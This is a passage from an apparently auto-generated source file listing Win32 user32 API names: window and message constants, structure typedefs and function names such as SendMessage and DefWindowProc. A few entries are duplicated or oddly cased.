'WS_OVERLAPPEDWINDOW', 'DISP_CHANGE_BADMODE', 'IDC_WAIT',\n 'VK_BROWSER_REFRESH', 'TPM_VERPOSANIMATION', 'STATE_SYSTEM_INDETERMINATE',\n 'WM_VSCROLL', 'SPI_GETBEEP', 'EN_VSCROLL', 'SERKF_INDICATOR', 'QS_HOTKEY',\n 'SWP_NOSIZE', 'PBT_APMSUSPEND', 'LB_INITSTORAGE', 'TPM_RECURSE', 'PINPUT',\n 'SPI_SETPOWEROFFACTIVE', 'GESTUREVISUALIZATION_PRESSANDHOLD', 'VK_RIGHT',\n 'SPI_GETACTIVEWNDTRKTIMEOUT', 'HTSIZELAST', 'PDC_MODE_DEFAULT', 'BF_SOFT',\n 'SS_ETCHEDVERT', 'SPI_SETMENURECT', 'SWP_SHOWWINDOW', 'SM_SWAPBUTTON',\n 'SM_DEBUG', 'SM_CYSMSIZE', 'OCR_ICON', 'HWND_DESKTOP', 'IDC_SIZEALL',\n 'SKF_INDICATOR', 'RIDEV_CAPTUREMOUSE', 'EM_SETPASSWORDCHAR', 'OemToChar',\n 'CharToOem', 'GetWindowLong', 'EVENT_SYSTEM_DESKTOPSWITCH', 'WM_GETFONT',\n 'DM_SETDEFID', 'NFR_UNICODE', 'OIC_WINLOGO', 'SM_CYICONSPACING',\n 'TPM_VERNEGANIMATION', 'LB_ITEMFROMPOINT', 'SPI_SETFONTSMOOTHINGTYPE',\n 'POINTER_FLAG_FIRSTBUTTON', 'SM_CYICON', 'BN_DOUBLECLICKED', 'WM_NCPAINT',\n 'STATE_SYSTEM_MIXED', 'VK_MEDIA_PLAY_PAUSE', 'SIZE_MAXHIDE', 'LBS_NODATA',\n 'WTS_CONSOLE_DISCONNECT', 'MSGF_SCROLLBAR', 'FLASHW_TIMERNOFG', 'BF_MONO',\n 'GCLP_WNDPROC', 'IDI_SHIELD', 'WH_MINHOOK', 'CTLCOLOR_MSGBOX', 'WS_TILED',\n 'QS_MOUSEMOVE', 'VK_GAMEPAD_RIGHT_SHOULDER', 'SPI_GETSHOWSOUNDS',\n 'MFS_DISABLED', 'CreateDialogParam', 'EVENT_OBJECT_SHOW', 'MSGF_USER',\n 'MIN_LOGICALDPIOVERRIDE', 'SS_NOTIFY', 'POINTER_MESSAGE_FLAG_INRANGE',\n 'ChangeMenu', 'EVENT_OEM_DEFINED_END', 'VK_NAVIGATION_MENU', 'GCL_HICON',\n 'APPCOMMAND_MICROPHONE_VOLUME_DOWN', 'EVENT_UIA_PROPID_START', 'CharPrev',\n 'EVENT_OBJECT_PARENTCHANGE', 'LBS_USETABSTOPS', 'IMAGE_BITMAP', 'GetProp',\n 'CBN_DBLCLK', 'RI_MOUSE_BUTTON_2_UP', 'SendMessageCallback', 'LBN_DBLCLK',\n 'SM_CXHTHUMB', 'MAPVK_VK_TO_VSC_EX', 'MOUSEEVENTF_RIGHTUP', 'GR_GLOBAL',\n 'SPI_SETDRAGFULLWINDOWS', 'WS_EX_NOINHERITLAYOUT', 'WM_TOUCHHITTESTING',\n 'SS_WHITEFRAME', 'SW_FORCEMINIMIZE', 'DS_NOIDLEMSG', 'WM_DPICHANGED',\n 'DCX_CLIPSIBLINGS', 'CWP_SKIPINVISIBLE', 'WINSTA_WRITEATTRIBUTES',\n 'SM_XVIRTUALSCREEN', 'RegisterClass', 'ES_UPPERCASE', 'SM_CMETRICS',\n 'LB_MSGMAX', 'TPM_HORNEGANIMATION', 'DLGC_BUTTON', 'WM_QUERYENDSESSION',\n 'DM_POINTERHITTEST', 'WM_LBUTTONDOWN', 'DefMDIChildProc', 'SC_KEYMENU',\n 'HBMMENU_MBAR_CLOSE', 'STATE_SYSTEM_ALERT_MEDIUM', 'EVENT_AIA_START',\n 'PBT_APMQUERYSTANDBYFAILED', 'GetMenuString', 'DT_PREFIXONLY', 'FVIRTKEY',\n 'WM_MDIGETACTIVE', 'COLOR_BTNSHADOW', 'DT_NOPREFIX', 'CB_SETCURSEL',\n 'SHOW_FULLSCREEN', 'VK_DELETE', 'DFCS_BUTTONCHECK', 'EM_GETHANDLE',\n 'CS_GLOBALCLASS', 'CreateDialogIndirectParam', 'WS_POPUPWINDOW', 'IsMenu',\n 'ULW_OPAQUE', 'HTSIZEFIRST', 'LB_GETLISTBOXINFO', 'DDL_READWRITE',\n 'EVENT_SYSTEM_SWITCHER_APPOVERTARGET', 'CF_DSPMETAFILEPICT', 'WS_VISIBLE',\n 'GetWindowTask', 'SPI_SETWHEELSCROLLLINES', 'WM_POINTERENTER', 'VK_RMENU',\n 'WM_USERCHANGED', 'IsCharLower', 'WM_POINTERACTIVATE', 'LSFW_UNLOCK',\n 'ODS_DEFAULT', 'FKF_HOTKEYACTIVE', 'OBJID_CLIENT', 'ODS_HOTLIGHT',\n 'PBT_APMRESUMESTANDBY', 'MKF_MOUSEMODE', 'COLOR_3DHIGHLIGHT', 'SIF_RANGE',\n 'SW_OTHERZOOM', 'SPI_SETBLOCKSENDINPUTRESETS', 'SIZEICONIC', 'ES_RIGHT',\n 'POINTER_FLAG_DOWN', 'SM_CYHSCROLL', 'MIM_APPLYTOSUBMENUS', 'SendMessage',\n 'BSF_RETURNHDESK', 'EVENT_OBJECT_DRAGDROPPED', 'VK_BROWSER_SEARCH',\n 'ICON_SMALL2', 'SPI_SETMENUSHOWDELAY', 'CB_SETITEMDATA', 'WM_PASTE',\n 'APPCOMMAND_PASTE', 'LB_SETCOLUMNWIDTH', 'DISP_CHANGE_SUCCESSFUL',\n 'WM_ICONERASEBKGND', 'SM_RESERVED4', 'MOUSEEVENTF_MOVE_NOCOALESCE',\n 'TME_HOVER', 'CB_INITSTORAGE', 'SPI_SETLANGTOGGLE', 'LB_GETCOUNT',\n 'CDS_RESET', 'UOI_TIMERPROC_EXCEPTION_SUPPRESSION', 'CBN_ERRSPACE',\n 'ES_AUTOVSCROLL', 'SKF_RWINLATCHED', 'CWF_CREATE_ONLY', 'VK_CONTROL',\n 'STATE_SYSTEM_BUSY', 'CF_PENDATA', 'RT_GROUP_CURSOR', 'HTOBJECT',\n 'MAPVK_VSC_TO_VK_EX', 'KL_NAMELENGTH', 'POINTER_FLAG_UP', 'ICON_SMALL',\n 'SPI_SETWHEELSCROLLCHARS', 'MB_MODEMASK', 'SPI_GETMOUSEDRAGOUTTHRESHOLD',\n 'SM_SHOWSOUNDS', 'GW_OWNER', 'MF_UNHILITE', 'INPUT_KEYBOARD', 'CF_HDROP',\n 'QS_ALLPOSTMESSAGE', 'MAX_STR_BLOCKREASON', 'CB_SETEXTENDEDUI', 'WM_USER',\n 'SWP_NOZORDER', 'SM_CYMENU', 'EnumProps', 'DSS_UNION', 'EN_KILLFOCUS',\n 'WTS_SESSION_CREATE', 'ESB_DISABLE_BOTH', 'SMTO_NORMAL', 'EN_MAXTEXT',\n 'KLF_SETFORPROCESS', 'APPCOMMAND_BASS_DOWN', 'DFCS_CHECKED', 'WM_MDINEXT',\n 'EVENT_OBJECT_DRAGSTART', 'SM_CARETBLINKINGENABLED', 'ES_WANTRETURN',\n 'WS_EX_TRANSPARENT', 'SPI_GETGRADIENTCAPTIONS', 'IDTIMEOUT', 'AppendMenu',\n 'LLKHF_LOWER_IL_INJECTED', 'CB_GETLBTEXT', 'WA_INACTIVE', 'GCLP_HCURSOR',\n 'SM_MEDIACENTER', 'WS_EX_TOOLWINDOW', 'WS_MAXIMIZEBOX', 'MFS_ENABLED',\n 'SPI_GETCARETTIMEOUT', 'RI_MOUSE_RIGHT_BUTTON_DOWN', 'QS_ALLEVENTS',\n 'SPI_SETMOUSEBUTTONSWAP', 'WM_SETFOCUS', 'CBS_UPPERCASE', 'RT_GROUP_ICON',\n 'SetWindowLongPtrW', 'DFCS_FLAT', 'SSTF_CHARS', 'WH_DEBUG', 'BM_GETCHECK',\n 'SOUND_SYSTEM_RESTOREDOWN', 'SetWindowLongPtrA', 'VK_GAMEPAD_DPAD_RIGHT',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_MAX', 'APPCOMMAND_OPEN',\n 'WM_POINTERROUTEDRELEASED', 'BDR_SUNKEN', 'ODS_NOACCEL', 'ULW_ALPHA',\n 'STATE_SYSTEM_SIZEABLE', 'IsCharUpper', 'MIIM_STATE', 'GWL_STYLE',\n 'MA_NOACTIVATEANDEAT', 'MFT_OWNERDRAW', 'BN_DISABLE', 'WH_GETMESSAGE',\n 'MKF_LEFTBUTTONDOWN', 'SPI_SETMOUSEDOCKTHRESHOLD', 'CB_ADDSTRING',\n 'HELP_TCARD', 'SBS_RIGHTALIGN', 'MKF_CONFIRMHOTKEY', 'SW_PARENTCLOSING',\n 'HOVER_DEFAULT', 'PEN_MASK_ROTATION', 'VK_OEM_ENLW', 'SBM_SETPOS',\n 'SW_SHOWMINNOACTIVE', 'MSGFLT_DISALLOW', 'OBM_CHECKBOXES', 'SC_MOVE',\n 'MB_ABORTRETRYIGNORE', 'MOUSEEVENTF_XDOWN', 'WM_QUERYNEWPALETTE',\n 'SPI_GETTOUCHPREDICTIONPARAMETERS', 'WM_DEADCHAR', 'WM_MENUGETOBJECT',\n 'CF_PALETTE', 'PRF_ERASEBKGND', 'SC_CONTEXTHELP', 'GWLP_WNDPROC',\n 'WM_EXITMENULOOP', 'WM_POWER', 'DLGC_WANTCHARS', 'WS_CHILDWINDOW',\n 'EVENT_SYSTEM_ARRANGMENTPREVIEW', 'DLGWINDOWEXTRA', 'SB_BOTTOM',\n 'DESKTOP_SWITCHDESKTOP', 'SPI_SETWAITTOKILLTIMEOUT', 'WM_IME_COMPOSITION',\n 'DO_DROPFILE', 'FAPPCOMMAND_MOUSE', 'VK_MEDIA_PREV_TRACK', 'DT_WORDBREAK',\n 'SPI_SETMESSAGEDURATION', 'SS_CENTERIMAGE', 'WM_IME_CONTROL', 'SBS_HORZ',\n 'HTTOPRIGHT', 'WH_FOREGROUNDIDLE', 'COLOR_HIGHLIGHTTEXT', 'MK_XBUTTON1',\n 'SPI_SETCARETWIDTH', 'MK_XBUTTON2', 'CDS_DISABLE_UNSAFE_MODES', 'BF_LEFT',\n 'EWX_HYBRID_SHUTDOWN', 'WS_EX_CONTROLPARENT', 'GR_GDIOBJECTS_PEAK',\n 'SS_RIGHTJUST', 'EVENT_OEM_DEFINED_START', 'SPI_SETFONTSMOOTHING',\n 'OBJID_SOUND', 'DefWindowProc', 'MKF_AVAILABLE', 'SPI_GETSELECTIONFADE',\n 'WM_WTSSESSION_CHANGE', 'EN_ALIGN_RTL_EC', 'CF_GDIOBJLAST', 'BSM_VXDS',\n 'IMAGE_ENHMETAFILE', 'SM_CYMAXIMIZED', 'MB_SYSTEMMODAL', 'OBM_COMBO',\n 'ENUM_REGISTRY_SETTINGS', 'DOF_MULTIPLE', 'INPUT_MESSAGE_ORIGIN_ID',\n 'FEEDBACK_TYPE', 'DIALOG_CONTROL_DPI_CHANGE_BEHAVIORS', 'PHANDEDNESS',\n 'DIALOG_DPI_CHANGE_BEHAVIORS', 'POINTER_DEVICE_CURSOR_TYPE', 'AR_STATE',\n 'tagPOINTER_DEVICE_TYPE', 'tagINPUT_MESSAGE_ORIGIN_ID', 'PAR_STATE',\n 'tagPOINTER_BUTTON_CHANGE_TYPE', 'tagPOINTER_INPUT_TYPE', 'HANDEDNESS',\n 'tagFEEDBACK_TYPE', 'tagPOINTER_DEVICE_CURSOR_TYPE', 'tagAR_STATE',\n 'INPUT_MESSAGE_DEVICE_TYPE', 'POINTER_BUTTON_CHANGE_TYPE', 'LPFILTERKEYS',\n 'tagINPUT_MESSAGE_DEVICE_TYPE', 'ORIENTATION_PREFERENCE', 'tagHANDEDNESS',\n 'EDIT_CONTROL_FEATURE', 'POINTER_DEVICE_TYPE', 'tagGESTUREINFO',\n 'tagMSLLHOOKSTRUCT', 'tagRID_DEVICE_INFO_HID', 'PCURSORINFO', 'EVENTMSG',\n 'tagTPMPARAMS', 'PMENUBARINFO', 'LPCBTACTIVATESTRUCT', 'tagDROPSTRUCT',\n 'NPCWPRETSTRUCT', 'DRAWITEMSTRUCT', 'HARDWAREHOOKSTRUCT', 'LPACCEL',\n 'NPWNDCLASSA', 'NPDEBUGHOOKINFO', 'tagMOUSEINPUT', 'LPMSG',\n 'TOUCH_HIT_TESTING_PROXIMITY_EVALUATION', 'NPWNDCLASSW', 'tagINPUT',\n 'PRID_DEVICE_INFO_KEYBOARD', 'tagACCESSTIMEOUT', 'RAWINPUTHEADER',\n 'tagMDICREATESTRUCTW', 'LPDEBUGHOOKINFO', 'KBDLLHOOKSTRUCT',\n 'MSLLHOOKSTRUCT', 'tagWINDOWPOS', 'WTSSESSION_NOTIFICATION', 'MENUINFO',\n 'LPCURSORINFO', 'tagMINIMIZEDMETRICS', 'PDEBUGHOOKINFO', 'HELPWININFOW',\n 'tagMOUSEHOOKSTRUCT', 'CURSORSHAPE', 'LPHARDWAREHOOKSTRUCT',\n 'tagGESTURECONFIG', 'tagRID_DEVICE_INFO', 'MDINEXTMENU', 'HELPWININFOA',\n 'LASTINPUTINFO', 'LPHELPWININFOW', 'PHELPWININFOA', 'PMSLLHOOKSTRUCT',\n 'MOUSEMOVEPOINT', 'PRID_DEVICE_INFO_HID', 'PSCROLLBARINFO', 'tagRAWMOUSE',\n 'LPHARDWAREINPUT', 'tagCLIENTCREATESTRUCT', 'PDRAWITEMSTRUCT',\n 'LPHELPWININFOA', 'PHELPWININFOW', 'LPDRAWTEXTPARAMS', 'PMOUSEINPUT',\n 'tagTITLEBARINFOEX', 'POINTER_DEVICE_PROPERTY', 'tagPOINTER_TOUCH_INFO',\n 'tagPOINTER_INFO', 'PPOINTER_TYPE_INFO', 'LPMOUSEINPUT', 'TOUCHINPUT',\n 'LPICONMETRICSW', 'LPHIGHCONTRASTA', 'RAWINPUTDEVICELIST', 'PMDINEXTMENU',\n 'LPICONMETRICSA', 'INPUT_TRANSFORM', 'tagPOINTER_DEVICE_CURSOR_INFO',\n 'LPHIGHCONTRASTW', 'LPRAWINPUTHEADER', 'AUDIODESCRIPTION', 'LPTOGGLEKEYS',\n 'tagSOUNDSENTRYA', 'tagANIMATIONINFO', 'tagSOUNDSENTRYW', 'PCWPSTRUCT',\n 'PMINIMIZEDMETRICS', 'MOUSEHOOKSTRUCTEX', 'SHELLHOOKINFO', 'FILTERKEYS',\n 'PGESTURECONFIG', 'LPMSGBOXPARAMSA', 'LPANIMATIONINFO', 'LPMSGBOXPARAMSW',\n 'tagUSAGE_PROPERTIES', 'GESTURECONFIG', 'TPMPARAMS', 'STYLESTRUCT',\n 'PLASTINPUTINFO', 'tagMDINEXTMENU', 'LPSCROLLINFO', 'tagHELPINFO',\n 'PFLASHWINFO', 'LPMOUSEMOVEPOINT', 'tagHIGHCONTRASTW', 'SERIALKEYSA',\n 'tagMOUSEKEYS', 'WINDOWPLACEMENT', 'tagTOUCHINPUT', 'NPCWPSTRUCT',\n 'SERIALKEYSW', 'PBSMINFO', 'tagHIGHCONTRASTA', 'LPRID_DEVICE_INFO',\n 'PMULTIKEYHELPW', 'ANIMATIONINFO', 'HARDWAREINPUT', 'tagMENUBARINFO',\n 'tagTOUCH_HIT_TESTING_PROXIMITY_EVALUATION', 'LPCREATESTRUCTW', 'PRAWHID',\n 'PCWPRETSTRUCT', 'PGUITHREADINFO', 'LPCREATESTRUCTA', 'LPEVENTMSGMSG',\n 'tagWNDCLASSEXW', 'tagWNDCLASSEXA', 'PCOMPAREITEMSTRUCT', 'RAWINPUT',\n 'LPWINDOWPOS', 'ACCESSTIMEOUT', 'DELETEITEMSTRUCT', 'POINTER_TOUCH_INFO',\n 'PINPUT_INJECTION_VALUE', 'tagHELPWININFOA', 'LPCURSORSHAPE',\n 'NONCLIENTMETRICSA', 'tagICONMETRICSW', 'tagWINDOWINFO', 'SOUNDSENTRYW',\n 'tagICONMETRICSA', 'NONCLIENTMETRICSW', 'PMOUSEHOOKSTRUCT', 'RAWKEYBOARD',\n 'PMOUSEHOOKSTRUCTEX', 'tagMDICREATESTRUCTA', 'PRAWKEYBOARD', 'PRAWINPUT',\n 'tagCOMPAREITEMSTRUCT', 'SOUNDSENTRYA', 'USEROBJECTFLAGS', 'STICKYKEYS',\n 'tagINPUT_INJECTION_VALUE', 'tagMENUITEMINFOA', 'tagINPUT_TRANSFORM',\n 'LPPAINTSTRUCT', 'tagRAWINPUTHEADER', 'tagDRAWTEXTPARAMS', 'TOGGLEKEYS',\n 'PUSEROBJECTFLAGS', 'PRAWINPUTDEVICELIST', 'MENUITEMINFOW', 'PWINDOWINFO',\n 'MENUITEMINFOA', 'tagNCCALCSIZE_PARAMS', 'NPEVENTMSGMSG', 'tagACCEL',\n 'PNONCLIENTMETRICSW', 'tagRID_DEVICE_INFO_MOUSE', 'PNONCLIENTMETRICSA',\n 'MENUITEMTEMPLATEHEADER', 'tagCURSORSHAPE', 'tagMENUGETOBJECTINFO',\n 'MULTIKEYHELPW', 'PMULTIKEYHELPA', 'tagMSGBOXPARAMSA', 'tagMONITORINFO',\n 'PCOMBOBOXINFO', 'tagMSGBOXPARAMSW', 'PEVENTMSGMSG', 'tagSTICKYKEYS',\n 'DEBUGHOOKINFO', 'PTITLEBARINFO', 'tagTouchPredictionParameters',\n 'tagHELPWININFOW', 'INPUT_INJECTION_VALUE', 'tagGUITHREADINFO', 'BSMINFO',\n 'PPOWERBROADCAST_SETTING', 'SCROLLBARINFO', 'NPWNDCLASSEXW',\n 'tagPOINTER_TYPE_INFO', 'LPRAWMOUSE', 'PWTSSESSION_NOTIFICATION',\n 'COPYDATASTRUCT', 'NPWNDCLASSEXA', 'CLIENTCREATESTRUCT', 'RAWMOUSE',\n 'tagCURSORINFO', 'tagMENUINFO', 'tagKEYBDINPUT', 'USAGE_PROPERTIES',\n 'PHARDWAREINPUT', 'PGESTURENOTIFYSTRUCT', 'LPCWPRETSTRUCT', 'DLGPROC',\n 'MENUBARINFO', 'LPMENUBARINFO', 'LPMOUSEKEYS', 'LPRAWINPUT', 'FLASHWINFO',\n 'PTOUCH_HIT_TESTING_PROXIMITY_EVALUATION', 'tagSTYLESTRUCT', 'MOUSEINPUT',\n 'PDELETEITEMSTRUCT', 'LPMONITORINFO', 'LPSCROLLBARINFO', 'MOUSEKEYS',\n 'MONITORINFOEXW', 'RID_DEVICE_INFO_MOUSE', 'PMSGBOXPARAMSW', 'LPEVENTMSG',\n 'LPSERIALKEYSA', 'LPTRACKMOUSEEVENT', 'PMSGBOXPARAMSA', 'MONITORINFOEXA',\n 'tagCBTACTIVATESTRUCT', 'MDICREATESTRUCTW', 'tagRAWINPUT', 'PAINTSTRUCT',\n 'tagWTSSESSION_NOTIFICATION', 'LPRAWINPUTDEVICE', 'GESTUREINFO',\n 'LPACCESSTIMEOUT', 'TRACKMOUSEEVENT', 'PMOUSEMOVEPOINT', 'LPWINDOWINFO',\n 'tagDRAWITEMSTRUCT', 'LPGUITHREADINFO', 'tagMOUSEHOOKSTRUCTEX',\n 'tagKBDLLHOOKSTRUCT', 'PALTTABINFO', 'LPHELPINFO', 'MENUITEMTEMPLATE',\n 'MSGBOXPARAMSA', 'tagCOPYDATASTRUCT', 'MSGBOXPARAMSW', 'tagFILTERKEYS',\n '_ICONINFOEXW', 'tagALTTABINFO', 'DLGITEMTEMPLATE', '_ICONINFOEXA',\n 'NPPAINTSTRUCT', 'LPCOMBOBOXINFO', 'LPMINIMIZEDMETRICS', 'DRAWTEXTPARAMS',\n 'PRID_DEVICE_INFO', 'PTOUCHINPUT', 'LPKBDLLHOOKSTRUCT', 'PKEYBDINPUT',\n 'RID_DEVICE_INFO_KEYBOARD', 'LPMULTIKEYHELPW', 'tagCWPSTRUCT', 'HELPINFO',\n 'tagUPDATELAYEREDWINDOWINFO', 'PTOUCHPREDICTIONPARAMETERS', 'tagRAWHID',\n 'LPMULTIKEYHELPA', 'GESTURENOTIFYSTRUCT', 'LPMENUITEMINFOA',\n 'MENUGETOBJECTINFO', 'tagMEASUREITEMSTRUCT', 'PHARDWAREHOOKSTRUCT',\n 'LPCLIENTCREATESTRUCT', 'PTITLEBARINFOEX', 'PRAWINPUTDEVICE', 'tagNMHDR',\n 'LPMENUINFO', 'PGESTUREINFO', 'tagRAWINPUTDEVICELIST', 'PDROPSTRUCT',\n 'POINTER_DEVICE_INFO', 'LPMEASUREITEMSTRUCT', 'PCHANGEFILTERSTRUCT',\n 'UPDATELAYEREDWINDOWINFO', 'COMBOBOXINFO', 'POINTER_PEN_INFO', 'LPRAWHID',\n 'PMENUITEMTEMPLATEHEADER', 'LPSTICKYKEYS', 'tagSCROLLBARINFO', 'ICONINFO',\n 'LPKEYBDINPUT', 'LPMOUSEHOOKSTRUCT', 'HIGHCONTRASTA', 'WNDCLASSW',\n 'tagCWPRETSTRUCT', 'tagCHANGEFILTERSTRUCT', 'MEASUREITEMSTRUCT',\n 'tagTOUCH_HIT_TESTING_INPUT', 'PUSAGE_PROPERTIES', 'PRAWINPUTHEADER',\n 'WNDCLASSA', 'tagMOUSEMOVEPOINT', 'LPMDICREATESTRUCTA', 'MINMAXINFO',\n 'POINTER_TYPE_INFO', 'LPAUDIODESCRIPTION', 'LPMDICREATESTRUCTW',\n 'tagCBT_CREATEWNDA', 'tagSERIALKEYSW', 'PMENUGETOBJECTINFO', 'KEYBDINPUT',\n 'tagRID_DEVICE_INFO_KEYBOARD', 'tagCBT_CREATEWNDW', 'tagAUDIODESCRIPTION',\n 'tagSERIALKEYSA', 'tagHARDWAREINPUT', 'LPMSLLHOOKSTRUCT', 'WINDOWPOS',\n 'PICONINFOEXW', 'LPDRAWITEMSTRUCT', 'PICONINFOEXA', 'LPDROPSTRUCT',\n 'LPDELETEITEMSTRUCT', 'tagPAINTSTRUCT', 'CHANGEFILTERSTRUCT',\n 'tagEVENTMSG', 'MINIMIZEDMETRICS', 'ICONINFOEXA', 'LPNCCALCSIZE_PARAMS',\n 'DLGTEMPLATE', 'tagHARDWAREHOOKSTRUCT', 'ICONINFOEXW', 'CWPSTRUCT',\n 'POWERBROADCAST_SETTING', 'CURSORINFO', 'tagPOINTER_DEVICE_PROPERTY',\n 'PICONMETRICSW', 'tagNONCLIENTMETRICSW', 'LPMENUITEMINFOW',\n 'CBTACTIVATESTRUCT', 'PMENUITEMTEMPLATE', 'tagNONCLIENTMETRICSA',\n 'PICONMETRICSA', 'GUITHREADINFO', 'LPINPUT', 'HIGHCONTRASTW',\n 'tagMULTIKEYHELPW', 'PWNDCLASSA', 'tagCOMBOBOXINFO', 'PWNDCLASSW',\n 'tagMULTIKEYHELPA', 'DROPSTRUCT', 'TOUCHPREDICTIONPARAMETERS', 'WNDCLASS',\n 'PUPDATELAYEREDWINDOWINFO', 'tagTITLEBARINFO', 'tagTRACKMOUSEEVENT',\n 'POINTER_DEVICE_CURSOR_INFO', 'CREATESTRUCTA', 'tagWNDCLASSA',\n 'tagPOINTER_PEN_INFO', 'tagWNDCLASSW', 'CREATESTRUCTW', 'LPSOUNDSENTRYA',\n 'tagMENUITEMINFOW', 'LPCOMPAREITEMSTRUCT', 'LPSOUNDSENTRYW',\n 'PRID_DEVICE_INFO_MOUSE', 'tagCREATESTRUCTA', 'WNDCLASSEXA', 'SCROLLINFO',\n 'LPSTYLESTRUCT', 'WNDCLASSEXW', 'tagCREATESTRUCTW', 'tagDEBUGHOOKINFO',\n 'PWNDCLASSEXW', 'tagLASTINPUTINFO', 'LPMONITORINFOEXA', 'LPRAWKEYBOARD',\n 'PWNDCLASSEXA', 'PKBDLLHOOKSTRUCT', 'tagGESTURENOTIFYSTRUCT', '_ICONINFO',\n 'LPMONITORINFOEXW', 'NPMSG', 'TITLEBARINFOEX', 'LPMOUSEHOOKSTRUCTEX',\n 'MDICREATESTRUCTA', 'tagWINDOWPLACEMENT', 'LPMDINEXTMENU',\n 'PMEASUREITEMSTRUCT', 'tagRAWINPUTDEVICE', 'LPTITLEBARINFO',\n 'RID_DEVICE_INFO_HID', 'tagTOGGLEKEYS', 'LPTITLEBARINFOEX', 'ALTTABINFO',\n 'tagSCROLLINFO', 'ICONMETRICSA', 'MULTIKEYHELPA', 'LPCWPSTRUCT',\n 'ICONMETRICSW', 'RID_DEVICE_INFO', 'CWPRETSTRUCT', 'PWINDOWPOS',\n 'tagPOINTER_DEVICE_INFO', 'MONITORINFO', 'COMPAREITEMSTRUCT', 'PRAWMOUSE',\n 'WINDOWINFO', 'LPSERIALKEYSW', 'tagMONITORINFOEXW', 'LPWNDCLASSW',\n 'TOUCH_HIT_TESTING_INPUT', 'MOUSEHOOKSTRUCT', 'CBT_CREATEWNDA', 'LPNMHDR',\n 'LPWNDCLASSA', 'CBT_CREATEWNDW', 'tagDELETEITEMSTRUCT', 'PMINMAXINFO',\n 'LPCBT_CREATEWNDW', 'LPSHELLHOOKINFO', 'LPCBT_CREATEWNDA', 'PPAINTSTRUCT',\n 'tagRAWKEYBOARD', 'LPMINMAXINFO', 'POINTER_INFO', 'NCCALCSIZE_PARAMS',\n 'LPWNDCLASSEXA', 'tagUSEROBJECTFLAGS', 'LPWNDCLASSEXW', 'GetMenu',\n 'TITLEBARINFO', 'PCOPYDATASTRUCT', 'LPNONCLIENTMETRICSA', 'PICONINFO',\n 'tagMINMAXINFO', 'tagMONITORINFOEXA', 'RAWINPUTDEVICE', 'LPALTTABINFO',\n 'LPNONCLIENTMETRICSW', 'PTOUCH_HIT_TESTING_INPUT', 'LPMENUTEMPLATEW',\n 'PDLGITEMTEMPLATEA', 'PEN_FLAGS', 'LPDLGTEMPLATEW',\n 'MULTIKEYHELP', 'PDLGITEMTEMPLATEW', 'LPMENUTEMPLATEA', 'LPCBT_CREATEWND',\n 'EDITWORDBREAKPROCW', 'TIMERPROC', 'EDITWORDBREAKPROCA', 'WNDENUMPROC',\n 'PROPENUMPROCA', 'PROPENUMPROCW', 'LPMULTIKEYHELP', 'PROPENUMPROCA',\n 'PCGESTUREINFO', 'PICONMETRICS', 'PROPENUMPROCW', 'LPCMENUITEMINFOA',\n 'PHELPWININFO', 'NONCLIENTMETRICS', 'LPMSGBOXPARAMS',\n 'LPCMENUITEMINFO', 'LPCMENUITEMINFOW', 'HDEVNOTIFY', 'LPMONITORINFOEX',\n 'PWNDCLASSEX', 'PWNDCLASS', 'LPCDLGTEMPLATE',\n 'PREGISTERCLASSNAMEW', 'LPDLGITEMTEMPLATEA', 'NAMEENUMPROCW', 'EndMenu',\n 'CBT_CREATEWND', 'DESKTOPENUMPROCW', 'WINSTAENUMPROCW', 'MDICREATESTRUCT',\n 'LPDLGITEMTEMPLATEW', 'TOUCH_MASK', 'MONITORINFOEX', 'LPSERIALKEYS',\n 'HIGHCONTRAST', 'SERIALKEYS', 'MENUTEMPLATE', 'GRAYSTRINGPROC', 'GetDCEx',\n 'WNDCLASSEX', 'LPTPMPARAMS', 'PWINDOWPLACEMENT', 'LPMDICREATESTRUCT',\n 'LPWNDCLASS', 'PROPENUMPROCEXA', 'PROPENUMPROCEXW', 'PDLGITEMTEMPLATE',\n 'PCTOUCHINPUT', 'NPWNDCLASSEX', 'HPOWERNOTIFY', 'LPWINDOWPLACEMENT',\n 'NAMEENUMPROCW', 'DLGPROC', 'PMSGBOXPARAMS', 'LPCREATESTRUCT', 'IsChild',\n 'PICONINFOEX', 'NAMEENUMPROCA', 'NAMEENUMPROCA', 'LPNONCLIENTMETRICS',\n 'LPCSCROLLINFO', 'PROPENUMPROC', 'PEN_MASK','WNDENUMPROC',\n 'GRAYSTRINGPROC', 'WINSTAENUMPROC', 'PMULTIKEYHELP', 'DRAWSTATEPROC',\n 'NPWNDCLASS', 'MSGBOXPARAMS', 'HELPWININFO', 'PROPENUMPROCEXA',\n 'SENDASYNCPROC', 'PROPENUMPROCEX', 'PNONCLIENTMETRICS', 'LPMENUITEMINFO',\n 'DESKTOPENUMPROC', 'MENUITEMINFO', 'SOUNDSENTRY', 'POINTER_INPUT_TYPE',\n 'LPWNDCLASSEX', 'EDITWORDBREAKPROC', 'MONITORENUMPROC', 'CREATESTRUCT',\n 'LPHELPWININFO', 'TIMERPROC', 'PHDEVNOTIFY', 'ICONINFOEX', 'TOUCH_FLAGS',\n 'PHPOWERNOTIFY', 'PCRAWINPUTDEVICE', 'POINTER_FLAGS', 'HELPPOLY',\n 'LPICONMETRICS', 'LPDLGTEMPLATEA', 'HOOKPROC', 'LPCMENUINFO', 'WNDPROC',\n 'LPCDLGTEMPLATEW', 'PROPENUMPROCEXW', 'LPDLGTEMPLATE', 'LPMENUTEMPLATE',\n 'LPCDLGTEMPLATEA', 'LPSOUNDSENTRY', 'LPDLGITEMTEMPLATE', 'MENUTEMPLATEW',\n 'SENDASYNCPROC', 'LPHIGHCONTRAST', 'MENUTEMPLATEA', 'ICONMETRICS',\n 'wvsprintfW', 'GetMenuInfo', 'SetUserObjectSecurity', 'IsTouchWindow',\n 'wvsprintfA', 'GetGuiResources', 'VkKeyScanExA', 'GetPoINTerDeviceRects',\n 'DisplayConfigSetDeviceInfo', 'SetMenuItemInfoA', 'CharUpperBuffA',\n 'RegisterShellHookWindow', 'CharUpperBuffW', 'SetMenuItemInfoW',\n 'DrawTextA', 'DlgDirSelectExA', 'GetCurrentInputMessageSource', 'EndTask',\n 'SendMessageA', 'DlgDirSelectExW', 'GetClientRect', 'GetMenuItemInfoW',\n 'SetThreadDpiAwarenessContext', 'DrawTextW', 'GetNextDlgTabItem',\n 'CallNextHookEx', 'MapWindowPoINTs', 'TrackPopupMenu', 'OemToCharBuffA',\n 'UnhookWindowsHook', 'UserHandleGrantAccess', 'MsgWaitForMultipleObjects',\n 'CharToOemW', 'InvalidateRgn', 'DestroyMenu', 'DrawEdge', 'UpdateWindow',\n 'GetUserObjectInformationW', 'IsWow64Message', 'DlgDirListComboBoxW',\n 